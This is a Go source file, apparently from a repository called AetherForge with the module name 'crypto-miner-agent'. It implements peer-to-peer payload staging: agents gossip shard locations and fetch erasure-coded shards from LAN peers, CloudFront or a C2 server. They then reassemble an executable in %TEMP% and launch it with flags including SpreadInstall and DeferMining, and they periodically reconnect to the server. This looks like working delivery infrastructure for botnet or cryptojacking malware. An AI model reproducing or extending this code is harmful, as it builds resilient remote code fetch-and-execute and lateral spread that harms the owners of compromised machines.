Files
AetherForge/agent/deploy/fleet_torrent.go
AetherForge 0795c511ab
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add S3 erasure swarm with CloudFront signed magnets.
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
2026-06-07 10:05:21 -07:00

442 lines
11 KiB
Go

package deploy
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
const (
fleetTorrentMaxLANNeighbors = 3
fleetTorrentZeroServerRetry = 30 * time.Minute
)
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
Subnet string `json:"subnet,omitempty"`
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
Region string `json:"region,omitempty"`
ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
type ShardPeer struct {
AgentID string
Subnet string
Region string
FetchURL string
}
type FleetShardDHT struct {
mu sync.RWMutex
peers map[string]map[int][]ShardPeer
shardHash map[string]map[int]string
healthy map[string]bool
local map[string]map[int][]byte
}
var globalFleetDHT = &FleetShardDHT{
peers: make(map[string]map[int][]ShardPeer),
shardHash: make(map[string]map[int]string),
healthy: make(map[string]bool),
local: make(map[string]map[int][]byte),
}
func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
func SetFleetShardDHT(dht *FleetShardDHT) {
if dht != nil {
globalFleetDHT = dht
}
}
func shardContentHash(data []byte) string {
sum := sha256.Sum256(data)
return hex.EncodeToString(sum[:])
}
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if d == nil || len(records) == 0 {
return
}
d.mu.Lock()
defer d.mu.Unlock()
for _, r := range records {
switch strings.TrimSpace(strings.ToLower(r.Kind)) {
case FleetGossipHaveShard:
if r.Token == "" || r.AgentID == "" {
continue
}
region := strings.TrimSpace(r.Region)
if region == "" && r.ShardAdvert != "" {
if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
region = parsed
}
}
if d.peers[r.Token] == nil {
d.peers[r.Token] = make(map[int][]ShardPeer)
}
if d.shardHash[r.Token] == nil {
d.shardHash[r.Token] = make(map[int]string)
}
if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
d.shardHash[r.Token][r.ShardIndex] = h
}
peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
case FleetGossipHealthy:
if r.AgentID != "" {
d.healthy[r.AgentID] = r.Healthy
}
case FleetGossipKnowNode:
if r.TargetAgentID != "" {
d.healthy[r.TargetAgentID] = true
}
}
}
}
func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
for _, existing := range peers {
if existing.AgentID == p.AgentID && existing.FetchURL == p.FetchURL {
return peers
}
}
return append(peers, p)
}
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
if d == nil || token == "" || len(body) == 0 {
return
}
d.mu.Lock()
defer d.mu.Unlock()
if d.local[token] == nil {
d.local[token] = make(map[int][]byte)
}
d.local[token][index] = append([]byte(nil), body...)
}
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
if d == nil {
return nil, false
}
d.mu.RLock()
defer d.mu.RUnlock()
if d.local[token] == nil {
return nil, false
}
body, ok := d.local[token][index]
if !ok {
return nil, false
}
return append([]byte(nil), body...), true
}
func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
if d == nil {
return nil
}
d.mu.RLock()
defer d.mu.RUnlock()
raw := d.peers[token][index]
if len(raw) == 0 {
return nil
}
out := make([]ShardPeer, len(raw))
copy(out, raw)
sort.Slice(out, func(i, j int) bool {
si := peerScore(out[i], localSubnet, localRegion)
sj := peerScore(out[j], localSubnet, localRegion)
if si != sj {
return si > sj
}
return out[i].AgentID < out[j].AgentID
})
return out
}
func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
if d == nil {
return ""
}
d.mu.RLock()
defer d.mu.RUnlock()
if d.shardHash[token] == nil {
return ""
}
return d.shardHash[token][index]
}
func peerScore(p ShardPeer, localSubnet, localRegion string) int {
if localSubnet != "" && p.Subnet == localSubnet {
return 4
}
if localRegion != "" && p.Region == localRegion {
return 3
}
if p.Region != "" {
return 2
}
if p.Subnet != "" {
return 1
}
return 0
}
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
if maxLAN <= 0 {
maxLAN = fleetTorrentMaxLANNeighbors
}
var out []ShardPeer
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
out = append(out, p)
if len(out) >= maxLAN {
break
}
}
}
return out
}
func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
if dht == nil {
dht = globalFleetDHT
}
if body, ok := dht.LocalShard(token, index); ok {
return body, nil
}
peers := dht.PeersForShard(token, index, localSubnet, localRegion)
try := func(url string) ([]byte, error) {
if url == "" {
return nil, fmt.Errorf("empty url")
}
if erasureFetchFn != nil {
return erasureFetchFn(url)
}
return fetchErasureShardHTTP(url)
}
for _, p := range PickLANNeighborPeers(peers, localSubnet, fleetTorrentMaxLANNeighbors) {
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
}
for _, p := range peers {
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
if localRegion != "" && p.Region == localRegion {
continue
}
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
if cloudFrontURL != "" {
if body, err := try(cloudFrontURL); err == nil {
return body, nil
}
}
if c2URL != "" {
return try(c2URL)
}
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
}
func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty")
}
p := erasureParams{DataShards: plan.DataShards, ParityShards: plan.ParityShards}
p, err := p.normalize()
if err != nil {
return "", err
}
dest, err := ResolveStagingPath(firstNonEmptyStr(plan.Dest, `%TEMP%\AetherForge\erasure-worker.exe`))
if err != nil {
return "", err
}
workDir := erasureWorkDir(cfg, plan.ShardToken)
if err := os.MkdirAll(workDir, 0o700); err != nil {
return "", err
}
cleanup := func() { _ = os.RemoveAll(workDir) }
dht := FleetShardDHTSnapshot()
shards := make([][]byte, p.totalShards())
c2 := strings.TrimRight(strings.TrimSpace(c2BaseURL), "/")
for _, ref := range plan.Shards {
if ref.Index < 0 || ref.Index >= len(shards) {
continue
}
if len(shards[ref.Index]) > 0 {
continue
}
c2URL := strings.TrimSpace(ref.URL)
if c2 == "" && c2URL == "" {
continue
}
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
}
region := localRegion
if region == "" {
region = strings.TrimSpace(cfg.AwsS3ShardRegion)
}
cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
cfURL = edge
}
body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
if err != nil {
continue
}
shards[ref.Index] = body
}
payload, err := decodeErasureShards(shards, plan.PayloadSize, p)
if err != nil {
cleanup()
return "", err
}
if err := verifyBytesSHA256(payload, plan.PayloadSHA256); err != nil {
cleanup()
return "", err
}
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
cleanup()
return "", err
}
if err := os.WriteFile(dest, payload, 0o755); err != nil {
cleanup()
return "", err
}
launch := strings.TrimSpace(plan.Launch)
if launch == "" {
launch = "exe"
}
launchFn := erasureLaunchFn
if launchFn == nil {
launchFn = launchErasureStagedBinary
}
msg, err := launchFn(dest, launch, plan.DLLExport, plan.DeferMining, plan.SpreadInstall)
cleanup()
if err != nil {
return "", err
}
return "fleet_torrent: " + msg, nil
}
func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
if fetchFn == nil {
fetchFn = fetchErasureShardHTTP
}
dht := FleetShardDHTSnapshot()
var records []FleetGossipRecord
for _, ref := range plan.Shards {
body, err := fetchFn(strings.TrimSpace(ref.URL))
if err != nil || len(body) == 0 {
continue
}
hash := shardContentHash(body)
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
records = append(records, FleetGossipRecord{
Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
ShardHash: hash, Region: strings.TrimSpace(region),
ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
})
}
return records
}
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
return
}
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for range ticker.C {
region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
gossipFn(recs)
}
}
}()
}
func StartZeroServerReconnect(reconnectFn func() error) {
if reconnectFn == nil {
return
}
go func() {
ticker := time.NewTicker(fleetTorrentZeroServerRetry)
defer ticker.Stop()
for range ticker.C {
_ = reconnectFn()
}
}()
}
func ParseSwarmMagnetToken(magnet string) string {
magnet = strings.TrimSpace(magnet)
if magnet == "" {
return ""
}
if idx := strings.Index(magnet, "tr=urn:aetherforge:erasure:"); idx >= 0 {
rest := magnet[idx+len("tr=urn:aetherforge:erasure:"):]
if amp := strings.Index(rest, "&"); amp >= 0 {
rest = rest[:amp]
}
return strings.TrimSpace(rest)
}
return ""
}
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
if manifestURL == "" {
return nil, fmt.Errorf("empty manifest url")
}
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(manifestURL)
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("manifest HTTP %d", resp.StatusCode)
}
return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
}